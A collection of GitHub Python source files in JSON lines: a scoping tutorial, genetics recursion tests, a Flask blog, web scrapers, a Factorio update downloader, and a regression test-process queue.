+{"seq_id":"3863833340","text":"################### Scope ####################\n\nenemies = 1\n\ndef increase_enemies():\n  enemies = 2\n  print(f\"enemies inside function: {enemies}\")\n\nincrease_enemies()\nprint(f\"enemies outside function: {enemies}\")\n\n# local scope\n\n# def drink_potion():\n#   potion_strength = 2\n#   print(potion_strength)\n\n# drink_potion()\n# print(potion_strength) can't access this outside the scope of this function\n# we can access this outside the function using global scope\n\n#Global Scope\n\nplayer_health = 10\n\ndef drink_potion():\n  global potion_strength\n  #global scoping using the global keyword\n  potion_strength = 2\n  print(player_health)\n\ndrink_potion()\nprint(potion_strength)\n\n#anything that you give name to has a namespace and that namespace is valid in certain scopes\n\n#python does not have any block scope which means you can create a new variable inside a if-else block, while/for loop then this new variable would be accessible outside the if block/for/while loop throughout global namespace. but within a function it is not possible as within a funciton has a global scope\n\n# to access the global variable inside a function:\n# dushman = 1\n# print(f\"Initial Dushman : {dushman}\")\n# def increase():\n#   global dushman\n#   dushman += 1\n#   print(f\"dushman inside the function: {dushman}\")\n\n# increase()\n# print(f\"dushman outside the function: {dushman}\")\n\n# avoid modifying global scope within a function that has local scope, and if you want to change a global scope value using a function then use return value instead:\n\ndushman = 1\n\nprint(f\"Initial Dushman : {dushman}\")\n\ndef increase():\n  print(f\"dushman inside the function: {dushman}\")\n  return dushman + 1\ndushman = increase()  #updating the global dushman via updating it with the returned value of the function\nprint(f\"dushman outside the function: {dushman}\")\n\n# Global Constants:\n# global scope can be extremely useful especially when you're defining constants. Global Constants are variables you define and you're never planning on changing it ever again. It's just something like, for eg: the value of pi. You wanna look it up once and you want it into your code and you never want to look it up ever again\n\nPI = 3.14159\nURL = \"https://www.google.com\"\nINSTAGRAM_HANDLE = \"@tanish57\"\n\n# define all the global constants in UPPERCASE, that way when you see all CAPS variable you'll recognize that they're global constants and should not be changed\n","repo_name":"Tanish57/Python","sub_path":"scoping.py","file_name":"scoping.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41845449739","text":"\"Beta with spikes (with extensions to selection derived by Paris et al).\"\n\n# We encountered various numerical issues with these recursions, such as\n# negative values for EZ^2, negative spike probabilities, etc. Running\n#\n#    $ py.test bws.py\n#\n# Reproduces some of these issues using the test code included at the end of \n# the file.\n\n\nimport jax\nfrom jax.scipy.special import betaln, gammaln\nfrom jax import numpy as jnp\nimport numpy as np\n\n\ndef _moment_recursion(mu_t, sigma2_t, s, h, Ne):\n    mu_t1 = f_sh(mu_t, s, h) * (1.0 + sigma2_t / 2.0)\n    sigma2_t1 = (\n        mu_t1\n        / Ne\n        * (1 - f_sh(mu_t, s, h) - f_sh_prime_prime(mu_t, s, h) / 2.0 * sigma2_t)\n    ) + (1 - 1.0 / Ne) * f_sh_prime(mu_t, s, h) ** 2 * sigma2_t ** 2\n    return (mu_t1, sigma2_t1)\n\n\ndef _fixation_recursion(\n    x0: float, s: float, h: float, Ne: float, t: int\n) -> jnp.ndarray:\n    \"probability of loss or fixation given params\"\n\n    def f(carry, _):\n        p0, p1, m0, z2_0 = carry\n        # unconditional moments\n        m, z2 = _moment_recursion(m0, z2_0, s, h, Ne)\n        # so E(beta) = m0, var(beta) = z2_0\n        # the probability of fixation is (roughly) p(beta) \\in [1/Ne, 1-1/Ne] =: E\n        # so E(beta') = \\int_E x beta(m0, z2_0) / \\int_E\n        u = 1 - p0 - p1\n        m_star = (m - p1) / u\n        # z2_star = (z2 + m ** 2 - p1) / (1 - p0 - p1) - m_star ** 2\n        z2_star = (\n            2 * m * p1 + (-1 + p0) * p1 - m ** 2 * (p0 + p1) + z2 - (p0 + p1) * z2\n        ) / u ** 2\n        c = m_star * (1 - m_star) / z2_star - 1\n        a_star = m_star * c\n        b_star = (1 - m_star) * c\n        sigma = Ne * s\n        p0_prime = p0 + (1 - p0 - p1) * (\n            a_star * (1.0 - sigma) + b_star + 2 * Ne\n        ) * jnp.exp(\n            gammaln(a_star + b_star)\n            + gammaln(b_star + 2 * Ne)\n            - gammaln(b_star)\n            - gammaln(1 + a_star + b_star + 2 * Ne)\n        )\n        p1_prime = p1 + (1 - p0 - p1) * (\n            a_star + b_star + 2 * Ne + b_star * sigma\n        ) * jnp.exp(\n            gammaln(a_star + b_star)\n            + gammaln(a_star + 2 * Ne)\n            - gammaln(a_star)\n            - gammaln(1 + a_star + b_star + 2 * Ne)\n        )\n        ret = (p0_prime, p1_prime, m_star, z2_star)\n        return ret, None\n\n    init = (0.0, 0.0, x0, 0)\n    for _ in range(t):\n        init, __ = f(init, _)\n    return init\n    return jax.lax.scan(f, init, None, length=t)[0]\n\ndef f_sh(x: float, s: float, h: float) -> float:\n    \"allele propagation function for general diploid selection model\"\n    ret = (\n        x\n        * (1 + s * h + s * (1 - h) * x)\n        / (1 + 2 * s * h * x + s * (1 - 2 * h) * x ** 2)\n    )\n    # ret = id_print(ret, what=\"f_sh\")\n    return ret\n\n\n\ndef f_sh_prime(x: float, s: float, h: float) -> float:\n    return (1 - s * (-2 + x) * x + h * s * (1 + x * (-2 + (2 + s) * x))) / (\n        1 + s * x * (-2 * h * (-1 + x) + x)\n    ) ** 2\n\n\ndef f_sh_prime_prime(x: float, s: float, h: float) -> float:\n    return (\n        2\n        * s\n        * (\n            -1\n            + x * (3 - s * (-3 + x) * x)\n            - 2 * h ** 2 * s * (-1 + x * (3 + x * (-3 + (2 + s) * x)))\n            + h * (3 + x * (-6 + s * (3 + x * (-9 + (4 + s) * x))))\n        )\n    ) / (-1 + s * (2 * h * (-1 + x) - x) * x) ** 3\n\n\ndef _check_fx(*args):\n    p0, p1, m, z2 = ans = _fixation_recursion(*args)\n    assert z2 >= 0\n    assert 0 <= p0 <= 1\n    assert 0 <= p1 <= 1\n    assert 0 <= m <= 1\n    return ans\n\n\ndef test_loss():\n    p0, p1, _, _ = _check_fx(0.01, -0.01, 0.5, 1e3, 10)\n    assert p0 > 0\n    assert p1 == 0.0\n\n\ndef test_fix():\n    p0, p1, _, _ = _check_fx(0.99, 0.01, 0.5, 1e3, 10)\n    assert p0 == 0.0\n    assert p1 > 0.0\n\n\ndef test_extreme():\n    p0, p1, _, _ = _check_fx(0.7, 0.1, 0.5, 1e2, 10)\n    assert 0 <= p0 < p1 <= 1\n\n\ndef test_drift1():\n    p0, p1, _, _ = _check_fx(0.4, 0.0, 0.5, 10.0, 10)\n    assert p0 > 0\n    assert p1 > 0\n    assert p0 > p1\n\n\ndef test_drift2():\n    p0, p1, _, _ = _check_fx(0.6, 0.0, 0.5, 10.0, 10)\n    assert p0 > 0\n    assert p1 > 0\n    assert p1 > p0\n\n\ndef test_large_Ne_long_time():\n    p0, p1, m, z2 = _check_fx(0.6, 0.1, 0.5, 10000.0, 100)\n    np.testing.assert_allclose(p0, 0.0)\n    assert p1 > 0\n\n\ndef test_small_Ne_long_time():\n    p0, p1, m, z2 = _check_fx(0.6, 0.1, 0.5, 100.0, 100)\n\n\ndef test_symmetry():\n    p0a, p1a, _, _ = _check_fx(0.4, 0.0, 0.5, 10.0, 2)\n    p0b, p1b, _, _ = _check_fx(0.6, 0.0, 0.5, 10.0, 2)\n    np.testing.assert_allclose(p0a, p1b)\n    np.testing.assert_allclose(p0b, p1a)\n\n\ndef test_moment_recursion():\n    # positive selection, increases mu\n    for log_Ne in range(2, 9):\n        mu, sigma2 = _moment_recursion(0.5, 0.0, 0.01, 0.5, 10 ** log_Ne)\n        assert mu > 0.5\n        assert sigma2 > 0.0\n    for log_Ne in range(2, 9):\n        mu, sigma2 = _moment_recursion(0.5, 0.0, -0.01, 0.5, 10 ** log_Ne)\n        assert mu < 0.5\n        assert sigma2 > 0.0\n\n    mu = 0.1\n    sigma2 = 0.1\n    for _ in range(1000):\n        mu, sigma2 = _moment_recursion(mu, sigma2, 0.05, 0.5, 1e5)\n    assert 1 - mu < 1e-3\n    assert sigma2 < 1e-6\n    assert sigma2 > 0\n    mu = 0.1\n    sigma2 = 0.1\n    for _ in range(10):\n        mu, sigma2 = _moment_recursion(mu, sigma2, -0.05, 0.1, 1e2)\n    assert sigma2 > 0\n\n\ndef test_fixation_recursion():\n    mu = 0.5\n    sigma2 = 0.1\n    for _ in range(10):\n        mu, sigma2 = _moment_recursion(mu, sigma2, 0.1, 0.5, 1e5)\n        assert sigma2 > 0\n\n","repo_name":"jthlab/bmws","sub_path":"paper/Supplemental_Code_S1.py","file_name":"Supplemental_Code_S1.py","file_ext":"py","file_size_in_byte":5410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37481995272","text":"#Exercício Cap 3 -  exercício fixação 2.4\n\naltura = float(input('Digite sua altura: '))\nsexo = str(input('Digite seu sexo: (M / F)'))\nsexo = sexo[0]\nsexo.upper()\nprint(sexo)\nif sexo in 'Mm':\n    pesoideal = (72.7 + altura) - 58\n    print(f'Seu peso ideal é {pesoideal}kg')\nif sexo in 'Ff':\n    pesoideal = (62.1 + altura) - 44.7\n    print(f'Seu peso ideal é {pesoideal}kg')\n\n","repo_name":"Cauana/Estudos_Algoritmos_Logicadeprogramacao","sub_path":"Cap. 3 - exercícios de estrutura de controle/Cap3_exerc_fixacao_2_4.py","file_name":"Cap3_exerc_fixacao_2_4.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"74104408081","text":"import requests\nfrom bs4 import BeautifulSoup\n\nwith requests.session() as req:\n  try:\n    information = [\"fixtures\", \"results\"]\n    info = int(input(\"\"\"\\t____WELCOME to SOCCORES____\n> Which information do you need?\n1) Fixtures     2) Results\n=> \"\"\"))\n    url = \"https://www.skysports.com/football\"+\"/\"+information[info-1]\n    print(f\"\"\"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\nEstablishing Connection with '{url}' site..\"\"\")\n    r = req.get(url)\n    print(\"\"\"Connection Successful...!\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\"\"\")\n    print(f\"\"\"Obtaining Scores from '{url}' site...\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\"\"\")\n    soup = BeautifulSoup(r.content, 'html.parser')\n    number = int(input('''\n> How many match results do you need?\n=> '''))\n    cards = soup.find_all('div', attrs={'class': 'fixres__item'})[:number]\n    for card in cards:\n      team = card.find_all('span', attrs={'class': \"swap-text__target\"})\n      score = card.find_all('span', attrs={'class': \"matches__teamscores-side\"})\n      print(f'''{team[0].get_text(strip=True)} <==> {team[1].get_text(strip=True)}\n\\t{score[0].get_text(strip=True)}  <==>  {score[1].get_text(strip=True)}''')\n  except IndexError:\n    print('ERROR!, Give either option 1 or 2!')\n  except ValueError:\n    print('ERROR!, Pass in a numerical Value!')\n  except:\n    print('Connection Error! Check your Connection and try again!')\n","repo_name":"kavienanj/XScore","sub_path":"media/essay_questions/soccores_TgiIj7A.py","file_name":"soccores_TgiIj7A.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"7197953676","text":"from datetime import datetime\n\nfrom flask import flash, redirect, render_template, request, url_for\nfrom flask_login import current_user, login_required, login_user, logout_user\nfrom werkzeug.urls import url_parse\n\nfrom app import app, db\nfrom app.forms import EditProfileForm, LoginForm, RegistrationForm\nfrom app.models import User\nfrom config import article_list\n\n\n@app.route('/')\n@app.route('/index')\n@login_required\ndef index():\n    # user = {'username':'路人甲'}\n    posts = [\n        {'name':'文章标题1', 'score':'缩略内容'},\n        {'name':'文章标题2', 'score':'缩略内容'}\n    ]\n    return render_template('index.html', posts=posts, title='Zong的博客')\n\n@app.route('/login',methods=['GET','POST'])\ndef login():\n    #判断当前用户是否验证，如果通过的话返回首页\n    if current_user.is_authenticated:\n        return redirect(url_for('index'))\n\n    form = LoginForm()\n    #对表格数据进行验证\n    if form.validate_on_submit():\n        #根据表格里的数据进行查询，如果查询到数据返回User对象，否则返回None\n        user = User.query.filter_by(username=form.username.data).first()\n        #判断用户不存在或者密码不正确\n        if user is None or not user.check_password(form.password.data):\n            #如果用户不存在或者密码不正确就会闪现这条信息\n            flash('无效的用户名或密码')\n            #然后重定向到登录页面\n            return redirect(url_for('login'))\n        #这是一个非常方便的方法，当用户名和密码都正确时来解决记住用户是否记住登录状态的问题\n        login_user(user,remember=form.remember_me.data)\n        next_page = request.args.get('next')\n        #如果next_page记录的地址不存在那么就返回首页\n        if not next_page or url_parse(next_page).netloc != '':\n            next_page = url_for('index')\n        #综上，登录后要么重定向至跳转前的页面，要么跳转至首页\n        return redirect(next_page)\n\n    return render_template('login.html',title='登录',form=form)\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n    # 判断当前用户是否验证，如果通过的话返回首页\n    if current_user.is_authenticated:\n        return redirect(url_for('index'))\n    form = RegistrationForm()\n    if form.validate_on_submit():\n        user = User(username=form.username.data, email=form.email.data)\n        user.set_password(form.password.data)\n        db.session.add(user)\n        db.session.commit()\n        flash('恭喜你成为我们网站的新用户!')\n        return redirect(url_for('login'))\n    return render_template('register.html', title='注册', form=form)\n\n@app.route('/logout')\ndef logout():\n    logout_user()\n    return redirect(url_for('index'))\n\n@app.route('/user/<username>')\n@login_required\ndef user(username):\n\n    user = User.query.filter_by(username=username).first_or_404()\n    posts = [\n        {'author':user,'body':'测试Post #1号'},\n        {'author':user,'body':'测试Post #2号'}\n    ]\n\n    return render_template('user.html',user=user,posts=posts, title='用户中心')\n\n@app.before_request\ndef before_request():\n    if current_user.is_authenticated:\n        current_user.last_seen = datetime.now()\n        db.session.commit()\n\n@app.route('/edit_profile', methods=['GET', 'POST'])\n@login_required\ndef edit_profile():\n    form = EditProfileForm()\n    if form.validate_on_submit():\n        current_user.username = form.username.data\n        current_user.about_me = form.about_me.data\n        db.session.commit()\n        flash('你的提交已变更.')\n        return redirect(url_for('edit_profile'))\n    elif request.method == 'GET':\n        form.username.data = current_user.username\n        form.about_me.data = current_user.about_me\n    return render_template('edit_profile.html', title='个人资料编辑', form=form)\n\n@app.route('/reset_pwd', methods=['GET', 'POST'])\ndef reset_pwd():\n    return render_template('reset_pwd.html', title='重置密码')\n\n@app.route('/interface_list')\n@login_required\ndef interface_list():\n    return render_template('interface_list.html', title='spider接口列表')\n\n@app.route('/zhihu')\n@login_required\ndef zhihu():\n    return render_template('zhihu.html', title='爬虫进阶', posts=article_list)\n\n@app.route('/anjuke')\n@login_required\ndef anjuke():\n    return render_template('anjuke.html', title='安居客爬虫解析')\n\n@app.route('/eleme')\n@login_required\ndef eleme():\n    return render_template('eleme.html', title='饿了么爬虫解析')","repo_name":"zongrongjin/myblog","sub_path":"flask/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28071565511","text":"import requests as re\r\nimport json\r\n\r\ndef get_latest_version():\r\n    version_list = re.get(\"https://updater.factorio.com/get-available-versions\")\r\n    versions = json.loads(version_list.content)\r\n    print(f\"Found latest 'core-linux_headless64' stable version: {versions['core-linux_headless64'][-1]['stable']}\")\r\n    return versions['core-linux_headless64'][-1]['stable']\r\n\r\ndef get_download_url(from_version:str,to_version:str):\r\n    initial_url = f\"https://updater.factorio.com/updater/get-download?package=core-linux_headless64&from={from_version}&to={to_version}\"\r\n    try:\r\n        response_url = re.head(initial_url)        \r\n        return response_url.headers[\"Location\"]\r\n    except:\r\n        print(f\"Possible version error, please retry.\\n\")\r\n\r\ndef get_version():\r\n    version = input(f\"Please give your current version number in the format listed in https://updater.factorio.com/get-available-versions\\n\\t> \")\r\n    try:\r\n        test_1 = version.split(\".\",maxsplit=1)\r\n        if (test_1[0].isnumeric() is not True): raise Exception\r\n        test_2 = test_1[1].split(\".\",maxsplit=1)\r\n        if (test_2[0].isnumeric() is not True): raise Exception\r\n        if (test_2[1].isnumeric() is not True): raise Exception\r\n        return version\r\n    except:\r\n        print(f\"Invalid version format.\\n\")\r\n        get_version()\r\n\r\ndef download_update(from_version, to_version):\r\n    download_url = get_download_url(from_version, to_version)\r\n    file = re.get(download_url)\r\n    with open(f\"update-{from_version}-{to_version}.zip\",'wb') as f:\r\n        f.write(file.content)\r\n\r\nlatest_version = get_latest_version()\r\nfrom_version = get_version()\r\nto_version = f'{from_version.split(\".\")[0]}.{from_version.split(\".\")[1]}.{int(from_version.split(\".\")[2])+1}'\r\nif (from_version == latest_version):\r\n    print(f\"Already updated to latest stable release.\")\r\nelse:\r\n    print(f\"Now downloading update for 'core-linux_headless64' version from {from_version} to {to_version}\")\r\n    while(True):\r\n        try:\r\n            download_update(from_version, to_version)\r\n            from_version = to_version\r\n            to_version = f'{from_version.split(\".\")[0]}.{from_version.split(\".\")[1]}.{int(from_version.split(\".\")[2])+1}'\r\n            if (from_version == latest_version):\r\n                print(f\"Finished downloading all updates.\")\r\n                break\r\n            else:\r\n                print(f\"Now downloading update for 'core-linux_headless64' version from {to_version} to {to_version.split('.')[0]}.{to_version.split('.')[1]}.{int(to_version.split('.')[2])+1}\")\r\n        except:\r\n            print(f\"Unknown error. Please retry.\")\r\n            break","repo_name":"zayyirulric/factorio-headless-update-downloader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32154800066","text":"import ssl\nimport urllib\nfrom copy import copy\nfrom urllib import request, parse\n\nfrom bs4 import BeautifulSoup\nimport xlrd\nimport xlwt\n\nssl._create_default_https_context = ssl._create_unverified_context\n\nuri = 'https://www.wish.com/api/product/get'\ndata = {'cid':'550d3d3647a9870f41012d6b',\n        'request_sizing_chart_info': 'true',\n        'do_not_track': 'false',\n        '_xsrf': '2|95ddfa19|eed70d6037568189219192cea00f8365|1542372349mmmm'}\nheaders = {\n    # heard部分直接通过chrome部分request header部分\n    'Accept': 'application/json, text/plain, */*',\n    'Accept-Encoding': 'gzip, deflate',\n    'Accept-Language': 'zh-CN,zh;q=0.8',\n    'Connection': 'keep-alive',\n    'Content-Length': '14',  # get方式提交的数据长度，如果是post方式，转成get方式：【id=wdb&pwd=wdb】\n    'Content-Type': 'application/x-www-form-urlencoded',\n    'Referer': 'http://10.1.2.151/',\n    'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.23 Mobile Safari/537.36'\n    }\n\ndata = parse.urlencode(data).encode('utf-8')\nreq = request.Request(uri, data=data)  #POST方法\n#req = request.Request('https://www.wish.com/api/product/get?cid=5b5141a7c004ad63e1597d84&request_sizing_chart_info=true&do_not_track=false')  # GET方法\npage = request.urlopen(req).read()\npage = page.decode('utf-8')\n","repo_name":"mmmmnmn/python_demo","sub_path":"excel_demo/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21884433774","text":"import livereload\n\nimport blog\n\n\ndef rebuild():\n    blog.main()\n\n\n# rebuild()\nserver = livereload.Server()\nserver.setHeader(\"Cache-Control\", \"no-store\")\nserver.watch(\"_posts/*.md\", rebuild)\nserver.watch(\"docs/**\")\nserver.watch(\"templates/**.html\", rebuild)\nserver.serve(root=\"docs\", port=4000)\n","repo_name":"muyun/muyun.github.io","sub_path":"serve.py","file_name":"serve.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8139967547","text":"import threading\n\nfrom classes.launcher import LauncherType\nfrom classes.summary import SummaryQueueItem, SummaryErrorQueueItem\nfrom common.collections import (\n    HiThreadedProducerConsumerQueue,\n    HiAtomicInteger,\n)\nfrom common.msg_utils import Msg\nfrom common.path_utils import PathUtils\nfrom common.sys_utils import SysUtils\nfrom common.threads import HiOldThread, HiThread\nfrom launchers.lsf_launcher import LsfLauncher\nfrom launchers.std_launcher import StdLauncher\n\n\nclass ProcessAction:\n    WriteOnly = 0  # write control files but do not execute\n    Immediate = 1  # run as soon as there are items in the process queue\n    Delay = 2  # delay run until all components have been pre processed\n    NoWrite = 3  # execute without write to control file\n\n    @classmethod\n    def translate(cls, arg_str):\n        if arg_str == \"write-only\":\n            return ProcessAction.WriteOnly\n        if arg_str == \"immediate\":\n            return ProcessAction.Immediate\n        if arg_str == \"delay\":\n            return ProcessAction.Delay\n        if arg_str == \"no-write\":\n            return ProcessAction.NoWrite\n        raise Execption(\"Unable to translate string value: %s, to ProcessAction\" % (arg_str))\n\n    @classmethod\n    def asstr(cls, arg_val):\n        if arg_val == ProcessAction.WriteOnly:\n            return \"write-only\"\n        if arg_val == ProcessAction.Immediate:\n            return \"immediate\"\n        if arg_val == ProcessAction.Delay:\n            return \"delay\"\n        if arg_val == ProcessAction.NoWrite:\n            return \"no-write\"\n        raise Execption(\n            \"Unable to translate value to string  %s, to ProcessAction\" % (str(arg_val))\n        )\n\n\nclass ProcessWorkerThread(HiOldThread):\n    def __init__(\n        self,\n        arg_summary,\n        done_semaphore,\n        peer_count,\n        arg_queue_item,\n        aProcessorName,\n        aProcessCmd,\n        aUseLsf,\n    ):\n        # acquire the semaphore here\n        done_semaphore.acquire(True)\n        # once acquired, increment the active peer thread count\n        peer_count.add(1)\n\n        self.done_semaphore = done_semaphore\n        self.queue_item = arg_queue_item\n        self.thread_count = peer_count\n        self.mProcessorName = aProcessorName\n        self.mProcessCmd = aProcessCmd\n        self.mUseLsf = aUseLsf\n        self.summary = arg_summary\n        # We do not want the thread to launch until we've loaded all the\n        # properties\n        Msg.user(\"Thread Id: %s __init__\" % (str(id(self))), \"WORK-THREAD\")\n\n        super().__init__(True)\n        self.on_done = None\n        self._launcher = None\n\n    def __del__(self):\n        Msg.user(\"Thread Id: %s __del__\" % (str(id(self))), \"WORK-THREAD\")\n\n    def setupWorkDir(self):\n        work_dir = self.queue_item.work_dir\n        PathUtils.mkdir(work_dir)\n        # write out the control file\n        PathUtils.touch(\"%sSTARTED\" % PathUtils.include_trailing_path_delimiter(work_dir))\n        if not PathUtils.write_file(\n            self.queue_item.frun_path, self.queue_item.content, \"Frun Control\"\n        ):\n            raise Exception(\"Failed to write frun file: %s\" % self.queue_item.frun_path)\n\n    def run(self):\n\n        my_sum_qitem = None\n        try:\n            self.setupWorkDir()\n\n            my_launcher = self.create_launcher()\n            Msg.user(\"Launcher Id 1: %s\" % (str(id(my_launcher))), \"WORK-THREAD\")\n            my_launcher.launch()\n            Msg.user(\"Launcher Id 2: %s\" % (str(id(my_launcher))), \"WORK-THREAD\")\n            my_process_result = my_launcher.extract_results()\n            Msg.user(\"Process Result: %s\" % (my_process_result), \"WORK-THREAD\")\n            Msg.user(\"Launcher Id 3: %s\" % (str(id(my_launcher))), \"WORK-THREAD\")\n            #\n            self.launcher = my_launcher\n\n            Msg.user(\"Process Result: %s\" % (my_process_result), \"WORK-THREAD\")\n            my_sum_qitem = SummaryQueueItem(my_process_result)\n            Msg.user(\"Created Summary Queue Item\", \"WORK-THREAD\")\n\n        except Exception as arg_ex:\n\n            Msg.error_trace(str(arg_ex))\n            Msg.err(\"Message: %s, Control File Path: %s\" % (str(arg_ex), self.queue_item.work_dir))\n            my_sum_qitem = SummaryErrorQueueItem(\n                {\n                    \"error\": arg_ex,\n                    \"message\": \"Error Processing Task ...\",\n                    \"path\": self.queue_item.ctrl_item.file_path(),\n                    \"type\": str(type(arg_ex)),\n                }\n            )\n        finally:\n\n            my_attempt = 0\n            while not self.summary.queue.enqueue(my_sum_qitem):\n                SysUtils.sleep(100)\n                # heartbeat\n                my_attempt += 1\n                if (my_attempt % 10) == 0:\n                    Msg.dbg(\"Attempt %d to insert into summary queue\" % (my_attempt))\n\n            self.thread_count.add(-1)\n            Msg.user(\"Thread Count Decremented\", \"WORK-THREAD\")\n\n            self.done_semaphore.release()\n            Msg.user(\"Semaphore Released\", \"WORK-THREAD\")\n            Msg.user(\"Launcher Id 5: %s\" % (str(id(self.launcher))), \"WORK-THREAD\")\n\n    # Basically a psudeo launcher factory\n    def create_launcher(self):\n\n        my_launcher = None\n        if self.mUseLsf:\n            my_launcher = LsfLauncher(self.mProcessorName, self.queue_item.mAppsInfo.mLsfInfo)\n        else:\n            my_launcher = StdLauncher(self.mProcessorName)\n\n        my_launcher.setLaunchParameters(\n            self.queue_item.frun_path,\n            self.mProcessCmd,\n            self.queue_item.ctrl_item.timeout,\n        )\n\n        my_launcher.parent_fctrl = self.queue_item.parent_fctrl\n        my_launcher.fctrl_item = self.queue_item.fctrl_item\n        my_launcher.item_group = self.queue_item.item_group\n        my_launcher.content = self.queue_item.content\n\n        return my_launcher\n\n    @property\n    def launcher(self):\n        Msg.user(\n            \"Get Launcher, Returning Id: %s\" % (str(id(self._launcher))),\n            \"WORK-THREAD\",\n        )\n        return self._launcher\n\n    @launcher.setter\n    def launcher(self, arg_launcher):\n        self._launcher = arg_launcher\n        Msg.user(\n            \"Set Launcher, Populated with Id: %s\" % (str(id(self._launcher))),\n            \"WORK-THREAD\",\n        )\n\n\nclass ProcessMonitorThread(HiThread):\n    def __init__(self):\n        my_thread_opts = {\n            \"noloop\": False,\n            \"name\": \"ProcessMonitorThread\",\n            \"on-start\": do_on_start,\n            \"on-execute\": do_on_execute,\n            \"on-done\": do_on_done,\n            \"on-finished\": do_on_finished,\n            \"daemon\": False,\n            \"active\": False,\n        }\n\n        self.thread_list = ThreadList()\n\n        super().__init__(my_thread_opts)\n\n    def execute(self):\n        pass\n\n    # Thread Events Unknown if they are needed at this time\n    def do_on_start(self, arg_sender=None):\n        pass\n\n    def do_on_execute(self, arg_sender=None):\n        pass\n\n    def do_on_done(self, arg_sender=None):\n        pass\n\n    def do_on_finished(self, arg_sender):\n        pass\n\n\nclass ProcessThread(HiOldThread):\n    def __init__(self, arg_process_queue, arg_summary, max_process_count, arg_done_event):\n\n        self.max_process_count = max_process_count\n        self.semaphore = threading.BoundedSemaphore(max_process_count)\n        self.summary = arg_summary\n\n        self.thread_count = HiAtomicInteger(0)\n        self.process_queue = arg_process_queue\n        self.done_event = arg_done_event\n\n        Msg.user(\"Done Event: %s\" % str(self.done_event), \"PROCESS-THREAD\")\n\n        # don't launch thread until we've loaded all the properties\n        super().__init__(True)\n\n    def run(self):\n\n        try:\n            while (not self.process_queue.fully_loaded) or (\n                self.process_queue.fully_loaded\n                and (self.thread_count.value() > 0 or self.process_queue.size() > 0)\n            ):\n                try:\n                    # if something tiggered a shutdown then exit the\n                    # processing loop and stop processing more items.\n                    if self.process_queue.summary.is_terminated():\n                        Msg.user(\"Terminated\", \"PROCESS-THREAD\")\n                        break\n                    # Pop off the top of the process queue (should block if\n                    # the queue is empty)\n                    my_queue_item = self.process_queue.dequeue(1)\n                    # Launch a thread with the item. Sempahore will block if\n                    # we've reached max workers\n                    Msg.user(\"Waiting for Semaphore ....\", \"PROCESS-THREAD\")\n\n                    if my_queue_item.mAppsInfo.mMode == \"count\":\n                        Msg.user(\n                            \"Counting %s\" % my_queue_item.work_dir,\n                            \"PROCESS-THREAD\",\n                        )\n                        my_queue_item.mAppsInfo.incrementTestCount()\n                    else:\n                        my_work_thread = ProcessWorkerThread(\n                            self.summary,\n                            self.semaphore,\n                            self.thread_count,\n                            my_queue_item,\n                            self.process_queue.processor_name,\n                            self.process_queue.process_cmd,\n                            self.process_queue.use_lsf(),\n                        )\n                except TimeoutError:\n                    pass\n\n                finally:\n                    pass\n\n            # need to wait until all worker threads are done before continuing\n            while self.thread_count.value() > 0:\n                Msg.user(\n                    \"Thread Count: %d\" % (self.thread_count.value()),\n                    \"PROCESS-THREAD\",\n                )\n                SysUtils.sleep(100)\n\n        finally:\n            self.done_event.Signal()\n\n\nclass ProcessQueueItem(object):\n    def __init__(self, aWorkDir, arg_ctrl_item, aAppsInfo, arg_content):\n        super().__init__()\n        self.work_dir = aWorkDir\n        self.frun_path = PathUtils.append_path(\n            PathUtils.include_trailing_path_delimiter(self.work_dir),\n            \"_def_frun.py\",\n        )\n\n        self.ctrl_item = arg_ctrl_item\n        self.mAppsInfo = aAppsInfo\n\n        self.parent_fctrl = arg_ctrl_item.parent_fctrl\n        self.fctrl_item = arg_ctrl_item.fctrl_item\n        self.item_group = arg_ctrl_item.group\n        self.content = arg_content\n\n\nclass ProcessQueue(HiThreadedProducerConsumerQueue):\n    def __init__(self):\n        super().__init__(blocking=True)\n\n        self.process_cmd = None\n        self.processor_name = None\n        self.summary = None\n\n        self.fully_loaded = False\n        self.process_max = None\n        self.done_event = None\n        self.launcher_type = None\n        self.process_thread = None\n\n    def open_queue(self):\n        # Create the Process Thread and lock ???\n        Msg.user(\"Done Event: %s\" % str(self.done_event), \"PROCESS-QUEUE\")\n\n        self.process_thread = ProcessThread(self, self.summary, self.process_max, self.done_event)\n        Msg.user(\"F-Run Command Line: %s\" % (self.process_cmd), \"PROCESS-QUEUE\")\n\n    def use_lsf(self):\n        return str(self.launcher_type).strip() == LauncherType.Lsf\n","repo_name":"openhwgroup/force-riscv","sub_path":"utils/regression/classes/process_queue.py","file_name":"process_queue.py","file_ext":"py","file_size_in_byte":11267,"program_lang":"python","lang":"en","doc_type":"code","stars":187,"dataset":"github-code","pt":"3"}
